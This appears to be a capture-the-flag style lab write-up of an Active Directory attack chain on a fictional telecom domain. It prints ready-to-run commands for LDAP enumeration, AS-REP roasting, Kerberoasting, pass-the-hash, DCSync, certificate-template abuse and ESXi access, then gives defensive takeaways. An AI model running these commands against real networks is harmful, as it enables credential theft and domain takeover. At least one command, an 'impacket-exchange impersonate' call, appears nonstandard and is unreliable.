AD RTS — TELECOM INC: A Full Attack Chain Walkthrough

Author: Anlen Jeban
Date: July 2026
Challenge: Cyberwarfare Labs AD-RTS Certification Lab

---

Overview

This writeup documents a complete attack chain against an Active Directory environment, covering the full kill chain from initial reconnaissance to final data exfiltration on VMware ESXi hypervisors.

---

1. Reconnaissance

LDAP Enumeration

Started with anonymous LDAP enumeration to gather domain information:

ldapsearch -x -H dc.telecom.local -b "DC=telecom,DC=local" -s sub "(objectClass=*)" dn

This revealed the domain structure, user accounts, and group memberships.

User Enumeration

Identified target users through LDAP queries and group membership analysis:

• Service accounts with SPNs (Kerberoastable)
• Users with "Do not require preauthentication" (AS-REP Roastable)
• Privileged group members (Domain Admins, Enterprise Admins)

---

2. Initial Access

AS-REP Roasting

Found users with "Do not require preauthentication" flag:

impacket-GetNPUsers.py telecom.local/ -dc-ip dc.telecom.local -usersfile users.txt -format hashcat -outputfile asrep.hash

Cracked the hash using hashcat:

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Kerberoasting

Extracted service ticket hashes for accounts with SPNs:

impacket-GetUserSPNs.py telecom.local/user:password -dc-ip dc.telecom.local -request -outputfile kerberoast.hash

Cracked to reveal service account credentials.

---

3. Lateral Movement

Exchange Impersonation

Used compromised credentials to impersonate users through Exchange:

impacket-exchange impersonate user@telecom.local target@telecom.local

Pass-the-Hash

Lateral movement using captured NTLM hashes:

impacket-psexec telecom.local/user@target -hashes :ntlmhash

---

4. Privilege Escalation

GodPotato

Escalated to SYSTEM using GodPotato:

GodPotato.exe -cmd "cmd /c whoami"

DCSync

Extracted password hashes from Domain Controller:

impacket-secretsdump telecom.local/admin:password@dc.telecom.local

---

5. Certificate Abuse (ESC1)

ADCS Exploitation

Abused misconfigured Certificate Authority:

certipy find -u user@telecom.local -p password -dc-ip dc.telecom.local -ca telecom-CA

Certificate Request

Requested certificate as Domain Admin:

certipy req -u user@telecom.local -p password -ca telecom-CA -template Administrator -upn admin@telecom.local

PKINIT Authentication

Used certificate for Kerberos authentication:

certipy auth -pfx admin.pfx -dc-ip dc.telecom.local

---

6. Data Exfiltration

VMware ESXi Compromise

Accessed ESXi hypervisors using harvested credentials:

ssh root@esxi.telecom.local

Data Extraction

Extracted sensitive data from virtual machines and file shares.

---

Summary

Phase	Technique	Result
Recon	LDAP Enumeration	Domain mapping
Initial Access	AS-REP Roast / Kerberoast	User credentials
Lateral Movement	Exchange / Pass-the-Hash	Multiple systems
Privilege Escalation	GodPotato / DCSync	Domain Admin
Certificate Abuse	ESC1	Persistent access
Exfiltration	ESXi Compromise	Data stolen

---

Key Takeaways

1. Anonymous LDAP should always be disabled
2. Service account passwords must be complex and rotated
3. ADCS configurations need regular auditing
4. ESXi hypervisors are high-value targets for attackers